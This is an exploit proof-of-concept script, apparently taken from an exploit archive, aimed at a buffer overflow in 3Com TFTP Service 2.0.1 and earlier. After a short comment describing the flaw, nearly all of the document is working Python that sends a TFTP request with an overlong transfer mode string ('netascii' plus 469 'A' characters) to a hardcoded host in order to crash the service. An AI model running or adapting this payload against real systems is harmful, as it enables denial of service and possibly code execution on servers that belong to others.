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3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow PoC
================================================================ 3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow PoC ================================================================ #!/usr/bin/python # Buffer Overflow (Long transporting mode) Vulnerability Exploit # This is just a DoS exploiting code # Tested on Windows xp SP2 # # Requires python and impacket # # Coded by Liu Qixu Of NCNIPC # SUMMARY: # 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP. # (http://support.3com.com/software/utilities_for_windows_32_bit.htm # or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip) # It provides an implementation of the TFTPv2 protocol. # A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers # to execute arbitrary commands or cause a denial of service. This flaw is # due to a buffer overflow error when handling an overly long transporting # mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could # be exploited by malicious users to compromise a vulnerable system or crash # an affected application. # EXPLOIT: import socket import sys host = '192.168.1.11' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "A" mode = "netascii" + "A" * 469 da = "\x00\x02" + filename + "\0" + mode + "\0" s.sendto(da, (host, port)) # 0day.today [2024-12-25] #